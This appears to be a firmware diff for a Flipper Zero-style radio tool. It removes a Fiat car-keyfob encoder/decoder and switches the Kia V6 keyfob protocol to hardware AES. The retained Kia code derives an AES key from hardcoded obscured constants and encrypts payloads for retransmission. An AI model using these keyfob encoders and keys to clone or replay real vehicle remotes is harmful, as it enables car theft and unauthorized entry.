-        instance->encoder.upload[index - 1] = level_duration_make(false, FIAT_V0_GAP_US);
-
-        // Combine hop and fix into 64-bit data word
-        uint64_t data = ((uint64_t)instance->hop << 32) | instance->fix;
-
-        // Manchester encode 64 bits of data (MSB first)
-        for(int bit = 63; bit >= 0; bit--) {
-            bool curr_bit = (data >> bit) & 1;
-            if(curr_bit) {
-                instance->encoder.upload[index++] = level_duration_make(true, te_short);
-                instance->encoder.upload[index++] = level_duration_make(false, te_short);
-            } else {
-                instance->encoder.upload[index++] = level_duration_make(false, te_short);
-                instance->encoder.upload[index++] = level_duration_make(true, te_short);
-            }
-        }
-
-        // Manchester encode 7 bits of endbyte (bits 6:0, MSB first)
-        uint8_t endbyte = (uint8_t)(instance->endbyte & 0x7F);
-        for(int bit = 6; bit >= 0; bit--) {
-            bool curr_bit = (endbyte >> bit) & 1;
-            if(curr_bit) {
-                instance->encoder.upload[index++] = level_duration_make(true, te_short);
-                instance->encoder.upload[index++] = level_duration_make(false, te_short);
-            } else {
-                instance->encoder.upload[index++] = level_duration_make(false, te_short);
-                instance->encoder.upload[index++] = level_duration_make(true, te_short);
-            }
-        }
-
-        // Burst trailer: extended LOW
-        instance->encoder.upload[index++] = level_duration_make(false, te_short * 4);
-    }
-
-    furi_check(index <= instance->upload_capacity);
-    instance->encoder.size_upload = index;
-    instance->encoder.front = 0;
-
-    FURI_LOG_I(TAG, "Upload built: %zu elements", instance->encoder.size_upload);
-}
-
-SubGhzProtocolStatus
-    subghz_protocol_encoder_fiat_v0_deserialize(void* context, FlipperFormat* flipper_format) {
-    furi_check(context);
-    SubGhzProtocolEncoderFiatV0* instance = context;
-    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
-
-    instance->encoder.is_running = false;
-    instance->encoder.front = 0;
-    instance->encoder.repeat = 10;
-
-    flipper_format_rewind(flipper_format);
-
-    FuriString* temp_str = furi_string_alloc();
-    furi_check(temp_str);
-
-    do {
-        if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) {
-            FURI_LOG_E(TAG, "Missing Protocol");
-            break;
-        }
-
-        if(!furi_string_equal(temp_str, instance->base.protocol->name)) {
-            FURI_LOG_E(TAG, "Wrong protocol: %s", furi_string_get_cstr(temp_str));
-            break;
-        }
-
-        uint32_t bit_count_temp = 0;
-        if(flipper_format_read_uint32(flipper_format, "Bit", &bit_count_temp, 1)) {
-            // Protocol transmits 71 bits: 64-bit key + 7-bit endbyte
-            if(bit_count_temp == 64 || bit_count_temp == 71) {
-                instance->generic.data_count_bit = bit_count_temp;
-            } else {
-                FURI_LOG_E(
-                    TAG,
-                    "Unexpected Bit value %lu, defaulting to 71",
-                    (unsigned long)bit_count_temp);
-                instance->generic.data_count_bit = 71;
-            }
-        } else {
-            FURI_LOG_E(TAG, "Missing Bit");
-            break;
-        }
-
-        if(!flipper_format_read_string(flipper_format, "Key", temp_str)) {
-            FURI_LOG_E(TAG, "Missing Key");
-            break;
-        }
-
-        const char* key_str = furi_string_get_cstr(temp_str);
-        uint64_t key = 0;
-        size_t str_len = strlen(key_str);
-        size_t hex_pos = 0;
-
-        for(size_t i = 0; i < str_len && hex_pos < 16; i++) {
-            char c = key_str[i];
-            if(c == ' ') continue;
-
-            uint8_t nibble;
-            if(c >= '0' && c <= '9') {
-                nibble = (uint8_t)(c - '0');
-            } else if(c >= 'A' && c <= 'F') {
-                nibble = (uint8_t)(c - 'A' + 10);
-            } else if(c >= 'a' && c <= 'f') {
-                nibble = (uint8_t)(c - 'a' + 10);
-            } else {
-                break;
-            }
-
-            key = (key << 4) | nibble;
-            hex_pos++;
-        }
-
-        if(hex_pos != 16) {
-            FURI_LOG_E(TAG, "Key parse error: expected 16 hex nibbles, got %u", (unsigned)hex_pos);
-            break;
-        }
-
-        instance->generic.data = key;
-        instance->hop = (uint32_t)(key >> 32);
-        instance->fix = (uint32_t)(key & 0xFFFFFFFF);
-
-        uint32_t btn_temp = 0;
-        if(flipper_format_read_uint32(flipper_format, "Btn", &btn_temp, 1)) {
-            instance->endbyte = (uint8_t)(btn_temp & 0x7F);
-        } else {
-            instance->endbyte = 0;
-        }
-
-        instance->generic.btn = instance->endbyte;
-        instance->generic.cnt = instance->hop;
-        instance->generic.serial = instance->fix;
-
-        uint32_t repeat_temp = 0;
-        if(flipper_format_read_uint32(flipper_format, "Repeat", &repeat_temp, 1)) {
-            instance->encoder.repeat = repeat_temp;
-        } else {
-            instance->encoder.repeat = 10;
-        }
-
-        subghz_protocol_encoder_fiat_v0_get_upload(instance);
-        instance->encoder.is_running = true;
-
-        FURI_LOG_I(
-            TAG,
-            "Encoder ready: hop=0x%08lX, fix=0x%08lX, endbyte=0x%02X",
-            instance->hop,
-            instance->fix,
-            instance->endbyte);
-
-        ret = SubGhzProtocolStatusOk;
-    } while(false);
-
-    furi_string_free(temp_str);
-    return ret;
-}
-
-void subghz_protocol_encoder_fiat_v0_stop(void* context) {
-    furi_check(context);
-    SubGhzProtocolEncoderFiatV0* instance = context;
-    instance->encoder.is_running = false;
-}
-
-LevelDuration subghz_protocol_encoder_fiat_v0_yield(void* context) {
-    furi_check(context);
-    SubGhzProtocolEncoderFiatV0* instance = context;
-
-    if(!instance->encoder.is_running || instance->encoder.repeat == 0) {
-        instance->encoder.is_running = false;
-        return level_duration_reset();
-    }
-
-    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
-
-    if(++instance->encoder.front == instance->encoder.size_upload) {
-        instance->encoder.repeat--;
-        instance->encoder.front = 0;
-    }
-
-    return ret;
-}
-
-// ============================================================================
-// DECODER IMPLEMENTATION
-// ============================================================================
-
-void* subghz_protocol_decoder_fiat_v0_alloc(SubGhzEnvironment* environment) {
-    UNUSED(environment);
-    SubGhzProtocolDecoderFiatV0* instance = calloc(1, sizeof(SubGhzProtocolDecoderFiatV0));
-    furi_check(instance);
-    instance->base.protocol = &subghz_protocol_fiat_v0;
-    instance->generic.protocol_name = instance->base.protocol->name;
-    return instance;
-}
-
-void subghz_protocol_decoder_fiat_v0_free(void* context) {
-    furi_check(context);
-    SubGhzProtocolDecoderFiatV0* instance = context;
-    free(instance);
-}
-
-void subghz_protocol_decoder_fiat_v0_reset(void* context) {
-    furi_check(context);
-    SubGhzProtocolDecoderFiatV0* instance = context;
-    instance->decoder.parser_step = FiatV0DecoderStepReset;
-    instance->decoder_state = 0;
-    instance->preamble_count = 0;
-    instance->data_low = 0;
-    instance->data_high = 0;
-    instance->bit_count = 0;
-    instance->hop = 0;
-    instance->fix = 0;
-    instance->endbyte = 0;
-    instance->final_count = 0;
-    instance->te_last = 0;
-    instance->manchester_state = ManchesterStateMid1;
-}
-
-// Helper: transition decoder into data-collection state
-static void
-    fiat_v0_decoder_enter_data_state(SubGhzProtocolDecoderFiatV0* instance, uint32_t duration) {
-    instance->decoder_state = FiatV0DecoderStepData;
-    instance->preamble_count = 0;
-    instance->data_low = 0;
-    instance->data_high = 0;
-    instance->bit_count = 0;
-    instance->te_last = duration;
-    manchester_advance(
-        instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL);
-}
-
-void subghz_protocol_decoder_fiat_v0_feed(void* context, bool level, uint32_t duration) {
-    furi_check(context);
-    SubGhzProtocolDecoderFiatV0* instance = context;
-    uint32_t te_short = (uint32_t)subghz_protocol_fiat_v0_const.te_short;
-    uint32_t te_long = (uint32_t)subghz_protocol_fiat_v0_const.te_long;
-    uint32_t te_delta = (uint32_t)subghz_protocol_fiat_v0_const.te_delta;
-    uint32_t gap_threshold = FIAT_V0_GAP_US;
-    uint32_t diff;
-
-    switch(instance->decoder_state) {
-    case FiatV0DecoderStepReset:
-        if(!level) {
-            return;
-        }
-        if(duration < te_short) {
-            diff = te_short - duration;
-        } else {
-            diff = duration - te_short;
-        }
-        if(diff < te_delta) {
-            instance->data_low = 0;
-            instance->data_high = 0;
-            instance->decoder_state = FiatV0DecoderStepPreamble;
-            instance->te_last = duration;
-            instance->preamble_count = 0;
-            instance->bit_count = 0;
-            manchester_advance(
-                instance->manchester_state,
-                ManchesterEventReset,
-                &instance->manchester_state,
-                NULL);
-        }
-        break;
-
-    case FiatV0DecoderStepPreamble:
-        if(level) {
-            if(duration < te_short) {
-                diff = te_short - duration;
-            } else {
-                diff = duration - te_short;
-            }
-            if(diff < te_delta) {
-                instance->preamble_count++;
-                instance->te_last = duration;
-            } else {
-                instance->decoder_state = FiatV0DecoderStepReset;
-            }
-            return;
-        }
-
-        if(duration < te_short) {
-            diff = te_short - duration;
-        } else {
-            diff = duration - te_short;
-        }
-
-        if(diff < te_delta) {
-            instance->preamble_count++;
-            instance->te_last = duration;
-        } else {
-            if(instance->preamble_count >= 0x96) {
-                if(duration < gap_threshold) {
-                    diff = gap_threshold - duration;
-                } else {
-                    diff = duration - gap_threshold;
-                }
-                if(diff < te_delta) {
-                    fiat_v0_decoder_enter_data_state(instance, duration);
-                    return;
-                }
-            }
-            instance->decoder_state = FiatV0DecoderStepReset;
-        }
-
-        if(instance->preamble_count >= 0x96 &&
-           instance->decoder_state == FiatV0DecoderStepPreamble) {
-            if(duration < gap_threshold) {
-                diff = gap_threshold - duration;
-            } else {
-                diff = duration - gap_threshold;
-            }
-            if(diff < te_delta) {
-                fiat_v0_decoder_enter_data_state(instance, duration);
-                return;
-            }
-        }
-        break;
-
-    case FiatV0DecoderStepData:
-        ManchesterEvent event = ManchesterEventReset;
-        if(duration < te_short) {
-            diff = te_short - duration;
-            if(diff < te_delta) {
-                event = level ? ManchesterEventShortLow : ManchesterEventShortHigh;
-            }
-        } else {
-            diff = duration - te_short;
-            if(diff < te_delta) {
-                event = level ? ManchesterEventShortLow : ManchesterEventShortHigh;
-            } else {
-                if(duration < te_long) {
-                    diff = te_long - duration;
-                } else {
-                    diff = duration - te_long;
-                }
-                if(diff < te_delta) {
-                    event = level ? ManchesterEventLongLow : ManchesterEventLongHigh;
-                }
-            }
-        }
-
-        if(event != ManchesterEventReset) {
-            bool data_bit_bool;
-            if(manchester_advance(
-                   instance->manchester_state,
-                   event,
-                   &instance->manchester_state,
-                   &data_bit_bool)) {
-                uint32_t new_bit = data_bit_bool ? 1 : 0;
-
-                uint32_t carry = (instance->data_low >> 31) & 1;
-                instance->data_low = (instance->data_low << 1) | new_bit;
-                instance->data_high = (instance->data_high << 1) | carry;
-
-                instance->bit_count++;
-
-                if(instance->bit_count == 0x40) {
-                    instance->fix = instance->data_low;
-                    instance->hop = instance->data_high;
-                    instance->data_low = 0;
-                    instance->data_high = 0;
-                }
-
-                if(instance->bit_count == 0x47) {
-                    instance->final_count = instance->bit_count;
-                    instance->endbyte = (uint8_t)instance->data_low;
-
-                    FURI_LOG_I(TAG, "Decoded: hop=0x%08lX fix=0x%08lX endbyte=0x%02X",
-                        instance->hop, instance->fix, instance->endbyte & 0x7F);
-
-                    instance->generic.data = ((uint64_t)instance->hop << 32) | instance->fix;
-                    instance->generic.data_count_bit = 71;
-                    instance->generic.serial = instance->fix;
-                    instance->generic.btn = instance->endbyte;
-                    instance->generic.cnt = instance->hop;
-
-                    if(instance->base.callback) {
-                        instance->base.callback(&instance->base, instance->base.context);
-                    }
-
-                    instance->data_low = 0;
-                    instance->data_high = 0;
-                    instance->bit_count = 0;
-                    instance->decoder_state = FiatV0DecoderStepReset;
-                }
-            }
-        } else {
-            if(instance->bit_count == 0x47) {
-                uint8_t data_low_byte = (uint8_t)instance->data_low;
-                instance->endbyte = data_low_byte;
-
-                FURI_LOG_I(TAG, "Decoded (gap): hop=0x%08lX fix=0x%08lX endbyte=0x%02X",
-                    instance->hop, instance->fix, instance->endbyte & 0x7F);
-
-                instance->generic.data = ((uint64_t)instance->hop << 32) | instance->fix;
-                instance->generic.data_count_bit = 71;
-                instance->generic.serial = instance->fix;
-                instance->generic.btn = instance->endbyte;
-                instance->generic.cnt = instance->hop;
-
-                if(instance->base.callback) {
-                    instance->base.callback(&instance->base, instance->base.context);
-                }
-
-                instance->data_low = 0;
-                instance->data_high = 0;
-                instance->bit_count = 0;
-                instance->decoder_state = FiatV0DecoderStepReset;
-            } else if(instance->bit_count < 0x40) {
-                instance->decoder_state = FiatV0DecoderStepReset;
-            }
-        }
-        instance->te_last = duration;
-        break;
-    }
-}
-
-uint8_t subghz_protocol_decoder_fiat_v0_get_hash_data(void* context) {
-    furi_check(context);
-    SubGhzProtocolDecoderFiatV0* instance = context;
-    SubGhzBlockDecoder decoder = {
-        .decode_data = instance->generic.data,
-        .decode_count_bit = instance->generic.data_count_bit};
-    return subghz_protocol_blocks_get_hash_data(&decoder, (decoder.decode_count_bit / 8) + 1);
-}
-
-SubGhzProtocolStatus subghz_protocol_decoder_fiat_v0_serialize(
-    void* context,
-    FlipperFormat* flipper_format,
-    SubGhzRadioPreset* preset) {
-    furi_check(context);
-    SubGhzProtocolDecoderFiatV0* instance = context;
-
-    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
-
-    // Use the standard generic serialize helper (handles Filetype, Version, Frequency, Preset, Protocol, Bit, Key)
-    ret = subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
-
-    if(ret == SubGhzProtocolStatusOk) {
-        // Save CRC - calculate from key bytes (use uint32_t as required by flipper_format_write_uint32)
-        uint64_t key64 = instance->generic.data;
-        uint32_t crc = 0;
-        for(int i = 0; i < 8; i++) {
-            crc ^= (uint32_t)((key64 >> (i * 8)) & 0xFF);
-        }
-        flipper_format_write_uint32(flipper_format, "CRC", &crc, 1);
-
-        // Save decoded fields
-        flipper_format_write_uint32(flipper_format, "Serial", &instance->generic.serial, 1);
-
-        uint32_t temp = instance->generic.btn;
-        flipper_format_write_uint32(flipper_format, "Btn", &temp, 1);
-
-        flipper_format_write_uint32(flipper_format, "Cnt", &instance->generic.cnt, 1);
-    }
-
-    return ret;
-}
-
-SubGhzProtocolStatus subghz_protocol_decoder_fiat_v0_deserialize(void* context, FlipperFormat* flipper_format) {
-    furi_check(context);
-    SubGhzProtocolDecoderFiatV0* instance = context;
-
-    // Use the standard generic deserialize helper
-    SubGhzProtocolStatus ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
-
-    if(ret == SubGhzProtocolStatusOk) {
-        // Extract hop and fix from the loaded key
-        instance->hop = (uint32_t)(instance->generic.data >> 32);
-        instance->fix = (uint32_t)(instance->generic.data & 0xFFFFFFFF);
-
-        // The btn value is already loaded by generic_deserialize into instance->generic.btn
-        instance->endbyte = instance->generic.btn;
-    }
-
-    return ret;
-}
-
-void subghz_protocol_decoder_fiat_v0_get_string(void* context, FuriString* output) {
-    furi_check(context);
-    SubGhzProtocolDecoderFiatV0* instance = context;
-
-    furi_string_cat_printf(
-        output,
-        "%s %dbit\r\n"
-        "Key:%08lX%08lX\r\n"
-        "Hop:%08lX\r\n"
-        "Sn:%08lX\r\n"
-        "EndByte:%02X\r\n",
-        instance->generic.protocol_name,
-        instance->generic.data_count_bit,
-        instance->hop,
-        instance->fix,
-        instance->hop,
-        instance->fix,
-        instance->endbyte & 0x7F);
-}

lib/subghz/protocols/fiat_v0.h

@@ -1,41 +0,0 @@
-#pragma once
-
-#include <furi.h>
-#include <lib/subghz/protocols/base.h>
-#include <lib/subghz/types.h>
-#include <lib/subghz/blocks/const.h>
-#include <lib/subghz/blocks/decoder.h>
-#include <lib/subghz/blocks/encoder.h>
-#include <lib/subghz/blocks/generic.h>
-#include <lib/subghz/blocks/math.h>
-#include <lib/toolbox/manchester_decoder.h>
-#include <flipper_format/flipper_format.h>
-
-#define FIAT_PROTOCOL_V0_NAME "Fiat SpA"
-
-typedef struct SubGhzProtocolDecoderFiatV0 SubGhzProtocolDecoderFiatV0;
-typedef struct SubGhzProtocolEncoderFiatV0 SubGhzProtocolEncoderFiatV0;
-
-extern const SubGhzProtocol subghz_protocol_fiat_v0;
-
-// Decoder functions
-void* subghz_protocol_decoder_fiat_v0_alloc(SubGhzEnvironment* environment);
-void subghz_protocol_decoder_fiat_v0_free(void* context);
-void subghz_protocol_decoder_fiat_v0_reset(void* context);
-void subghz_protocol_decoder_fiat_v0_feed(void* context, bool level, uint32_t duration);
-uint8_t subghz_protocol_decoder_fiat_v0_get_hash_data(void* context);
-SubGhzProtocolStatus subghz_protocol_decoder_fiat_v0_serialize(
-    void* context,
-    FlipperFormat* flipper_format,
-    SubGhzRadioPreset* preset);
-SubGhzProtocolStatus
-    subghz_protocol_decoder_fiat_v0_deserialize(void* context, FlipperFormat* flipper_format);
-void subghz_protocol_decoder_fiat_v0_get_string(void* context, FuriString* output);
-
-// Encoder functions
-void* subghz_protocol_encoder_fiat_v0_alloc(SubGhzEnvironment* environment);
-void subghz_protocol_encoder_fiat_v0_free(void* context);
-SubGhzProtocolStatus
-    subghz_protocol_encoder_fiat_v0_deserialize(void* context, FlipperFormat* flipper_format);
-void subghz_protocol_encoder_fiat_v0_stop(void* context);
-LevelDuration subghz_protocol_encoder_fiat_v0_yield(void* context);

lib/subghz/protocols/kia_v6.c

@@ -7,6 +7,7 @@
 #include "../blocks/custom_btn_i.h"
 #include <lib/toolbox/manchester_decoder.h>
 #include <flipper_format/flipper_format.h>
+#include <furi_hal_crypto.h>
 
 #define TAG "SubGhzProtocolKiaV6"
 
@@ -43,29 +44,6 @@ static const uint8_t aes_sbox[256] = {
     0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
 };
 
-static const uint8_t aes_sbox_inv[256] = {
-    0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
-    0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
-    0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
-    0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
-    0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
-    0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
-    0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
-    0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
-    0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
-    0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
-    0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
-    0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
-    0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
-    0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
-    0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
-    0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d
-};
-
-static const uint8_t aes_rcon[10] = {
-    0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36
-};
-
 struct SubGhzProtocolDecoderKiaV6 {
     SubGhzProtocolDecoderBase base;
     SubGhzBlockDecoder decoder;
@@ -159,181 +137,6 @@ static uint8_t kia_v6_custom_to_btn(uint8_t custom) {
     }
 }
 
-static uint8_t gf_mul2(uint8_t x) {
-    return ((x >> 7) * 0x1b) ^ (x << 1);
-}
-
-static void aes_subbytes_inv(uint8_t* state) {
-    for (int row = 0; row < 4; row++) {
-        for (int col = 0; col < 4; col++) {
-            state[row + col * 4] = aes_sbox_inv[state[row + col * 4]];
-        }
-    }
-}
-
-static void aes_shiftrows_inv(uint8_t* state) {
-    uint8_t temp;
-    temp = state[13];
-    state[13] = state[9];
-    state[9] = state[5];
-    state[5] = state[1];
-    state[1] = temp;
-
-    temp = state[2];
-    state[2] = state[10];
-    state[10] = temp;
-    temp = state[6];
-    state[6] = state[14];
-    state[14] = temp;
-
-    temp = state[3];
-    state[3] = state[7];
-    state[7] = state[11];
-    state[11] = state[15];
-    state[15] = temp;
-}
-
-static void aes_mixcolumns_inv(uint8_t* state) {
-    uint8_t a, b, c, d;
-    for(int i = 0; i < 4; i++) {
-        a = state[i*4];
-        b = state[i*4+1];
-        c = state[i*4+2];
-        d = state[i*4+3];
-
-        uint8_t a2 = gf_mul2(a);
-        uint8_t a4 = gf_mul2(a2);
-        uint8_t a8 = gf_mul2(a4);
-        uint8_t b2 = gf_mul2(b);
-        uint8_t b4 = gf_mul2(b2);
-        uint8_t b8 = gf_mul2(b4);
-        uint8_t c2 = gf_mul2(c);
-        uint8_t c4 = gf_mul2(c2);
-        uint8_t c8 = gf_mul2(c4);
-        uint8_t d2 = gf_mul2(d);
-        uint8_t d4 = gf_mul2(d2);
-        uint8_t d8 = gf_mul2(d4);
-
-        state[i*4]   = (a8^a4^a2) ^ (b8^b2^b) ^ (c8^c4^c) ^ (d8^d);
-        state[i*4+1] = (a8^a)     ^ (b8^b4^b2) ^ (c8^c2^c) ^ (d8^d4^d);
-        state[i*4+2] = (a8^a4^a)  ^ (b8^b)     ^ (c8^c4^c2) ^ (d8^d2^d);
-        state[i*4+3] = (a8^a2^a)  ^ (b8^b4^b)  ^ (c8^c)     ^ (d8^d4^d2);
-    }
-}
-
-static void aes_addroundkey(uint8_t* state, const uint8_t* round_key) {
-    for (int col = 0; col < 4; col++) {
-        state[col * 4]     ^= round_key[col * 4];
-        state[col * 4 + 1] ^= round_key[col * 4 + 1];
-        state[col * 4 + 2] ^= round_key[col * 4 + 2];
-        state[col * 4 + 3] ^= round_key[col * 4 + 3];
-    }
-}
-
-static void aes_subbytes(uint8_t* state) {
-    for (int row = 0; row < 4; row++) {
-        for (int col = 0; col < 4; col++) {
-            state[row + col * 4] = aes_sbox[state[row + col * 4]];
-        }
-    }
-}
-
-static void aes_shiftrows(uint8_t* state) {
-    uint8_t temp;
-    temp = state[1];
-    state[1] = state[5];
-    state[5] = state[9];
-    state[9] = state[13];
-    state[13] = temp;
-    temp = state[2];
-    state[2] = state[10];
-    state[10] = temp;
-    temp = state[6];
-    state[6] = state[14];
-    state[14] = temp;
-    temp = state[3];
-    state[3] = state[15];
-    state[15] = state[11];
-    state[11] = state[7];
-    state[7] = temp;
-}
-
-static void aes_mixcolumns(uint8_t* state) {
-    uint8_t a, b, c, d;
-    for (int i = 0; i < 4; i++) {
-        a = state[i * 4];
-        b = state[i * 4 + 1];
-        c = state[i * 4 + 2];
-        d = state[i * 4 + 3];
-        state[i * 4]     = gf_mul2(a) ^ gf_mul2(b) ^ b ^ c ^ d;
-        state[i * 4 + 1] = a ^ gf_mul2(b) ^ gf_mul2(c) ^ c ^ d;
-        state[i * 4 + 2] = a ^ b ^ gf_mul2(c) ^ gf_mul2(d) ^ d;
-        state[i * 4 + 3] = gf_mul2(a) ^ a ^ b ^ c ^ gf_mul2(d);
-    }
-}
-
-static void aes_key_expansion(const uint8_t* key, uint8_t* round_keys) {
-    for (int i = 0; i < 16; i++) {
-        round_keys[i] = key[i];
-    }
-    for (int i = 4; i < 44; i++) {
-        int prev_word_idx = (i - 1) * 4;
-        uint8_t b0 = round_keys[prev_word_idx];
-        uint8_t b1 = round_keys[prev_word_idx + 1];
-        uint8_t b2 = round_keys[prev_word_idx + 2];
-        uint8_t b3 = round_keys[prev_word_idx + 3];
-        if ((i % 4) == 0) {
-            uint8_t new_b0 = aes_sbox[b1] ^ aes_rcon[(i / 4) - 1];
-            uint8_t new_b1 = aes_sbox[b2];
-            uint8_t new_b2 = aes_sbox[b3];
-            uint8_t new_b3 = aes_sbox[b0];
-            b0 = new_b0; b1 = new_b1; b2 = new_b2; b3 = new_b3;
-        }
-        int back_word_idx = (i - 4) * 4;
-        b0 ^= round_keys[back_word_idx];
-        b1 ^= round_keys[back_word_idx + 1];
-        b2 ^= round_keys[back_word_idx + 2];
-        b3 ^= round_keys[back_word_idx + 3];
-        int curr_word_idx = i * 4;
-        round_keys[curr_word_idx]     = b0;
-        round_keys[curr_word_idx + 1] = b1;
-        round_keys[curr_word_idx + 2] = b2;
-        round_keys[curr_word_idx + 3] = b3;
-    }
-}
-
-static void aes128_decrypt(const uint8_t* expanded_key, uint8_t* data) {
-    uint8_t state[16];
-    memcpy(state, data, 16);
-    aes_addroundkey(state, &expanded_key[160]);
-    for (int round = 9; round > 0; round--) {
-        aes_shiftrows_inv(state);
-        aes_subbytes_inv(state);
-        aes_addroundkey(state, &expanded_key[round*16]);
-        aes_mixcolumns_inv(state);
-    }
-    aes_shiftrows_inv(state);
-    aes_subbytes_inv(state);
-    aes_addroundkey(state, &expanded_key[0]);
-    memcpy(data, state, 16);
-}
-
-static void aes128_encrypt(const uint8_t* expanded_key, uint8_t* data) {
-    uint8_t state[16];
-    memcpy(state, data, 16);
-    aes_addroundkey(state, &expanded_key[0]);
-    for (int round = 1; round < 10; round++) {
-        aes_subbytes(state);
-        aes_shiftrows(state);
-        aes_mixcolumns(state);
-        aes_addroundkey(state, &expanded_key[round * 16]);
-    }
-    aes_subbytes(state);
-    aes_shiftrows(state);
-    aes_addroundkey(state, &expanded_key[160]);
-    memcpy(data, state, 16);
-}
-
 static void get_kia_v6_aes_key(uint8_t* aes_key) {
     uint64_t keystore_a = 0x37CE21F8C9F862A8ULL ^ 0x5448455049524154ULL;
     uint32_t keystore_a_hi = (keystore_a >> 32) & 0xFFFFFFFF;
@@ -381,9 +184,9 @@ static bool kia_v6_decrypt(SubGhzProtocolDecoderKiaV6* instance) {
 
     uint8_t aes_key[16];
     get_kia_v6_aes_key(aes_key);
-    uint8_t expanded_key[176];
-    aes_key_expansion(aes_key, expanded_key);
-    aes128_decrypt(expanded_key, encrypted_data);
+    uint8_t decrypted_buf[16];
+    furi_hal_crypto_aes128_ecb_decrypt(aes_key, encrypted_data, decrypted_buf);
+    memcpy(encrypted_data, decrypted_buf, 16);
 
     uint8_t *decrypted = encrypted_data;
     uint8_t calculated_crc = kia_v6_crc8(decrypted, 15, 0xFF, 0x07);
@@ -444,9 +247,9 @@ static void kia_v6_encrypt_payload(
 
     uint8_t aes_key[16];
     get_kia_v6_aes_key(aes_key);
-    uint8_t expanded_key[176];
-    aes_key_expansion(aes_key, expanded_key);
-    aes128_encrypt(expanded_key, plain);
+    uint8_t encrypted[16];
+    furi_hal_crypto_aes128_ecb_encrypt(aes_key, plain, encrypted);
+    memcpy(plain, encrypted, 16);
 
     uint8_t fx_hi = 0x20 | (fx_field >> 4);
     uint8_t fx_lo = fx_field & 0x0F;

lib/subghz/protocols/protocol_items.c

@@ -1,48 +1,76 @@
 #include "protocol_items.h" // IWYU pragma: keep
 
 const SubGhzProtocol* const subghz_protocol_registry_items[] = {
-    &subghz_protocol_gate_tx,       &subghz_protocol_keeloq,
-    &subghz_protocol_nice_flo,      &subghz_protocol_came,
-    &subghz_protocol_faac_slh,      &subghz_protocol_nice_flor_s,
-    &subghz_protocol_came_twee,     &subghz_protocol_came_atomo,
-    //&subghz_protocol_nero_sketch,   //&subghz_protocol_ido,
-    &subghz_protocol_hormann,       //&subghz_protocol_nero_radio,
-    &subghz_protocol_somfy_telis,   &subghz_protocol_somfy_keytis,
-    &subghz_protocol_princeton,     &subghz_protocol_raw,
-    &subghz_protocol_linear,        &subghz_protocol_secplus_v2,
-    &subghz_protocol_secplus_v1,    &subghz_protocol_megacode,
-    //&subghz_protocol_holtek,        
+    &subghz_protocol_gate_tx,
+    &subghz_protocol_keeloq,
+    &subghz_protocol_nice_flo,
+    &subghz_protocol_came,
+    &subghz_protocol_faac_slh,
+    &subghz_protocol_nice_flor_s,
+    &subghz_protocol_came_twee,
+    &subghz_protocol_came_atomo,
+    //&subghz_protocol_nero_sketch,
+    //&subghz_protocol_ido,
+    &subghz_protocol_hormann,
+    //&subghz_protocol_nero_radio,
+    &subghz_protocol_somfy_telis,
+    &subghz_protocol_somfy_keytis,
+    &subghz_protocol_princeton,
+    &subghz_protocol_raw,
+    &subghz_protocol_linear,
+    &subghz_protocol_secplus_v2,
+    &subghz_protocol_secplus_v1,
+    &subghz_protocol_megacode,
+    &subghz_protocol_holtek,        
     &subghz_protocol_chamb_code,
     //&subghz_protocol_power_smart,   
     &subghz_protocol_marantec,
     //&subghz_protocol_bett,          
     &subghz_protocol_doitrand,
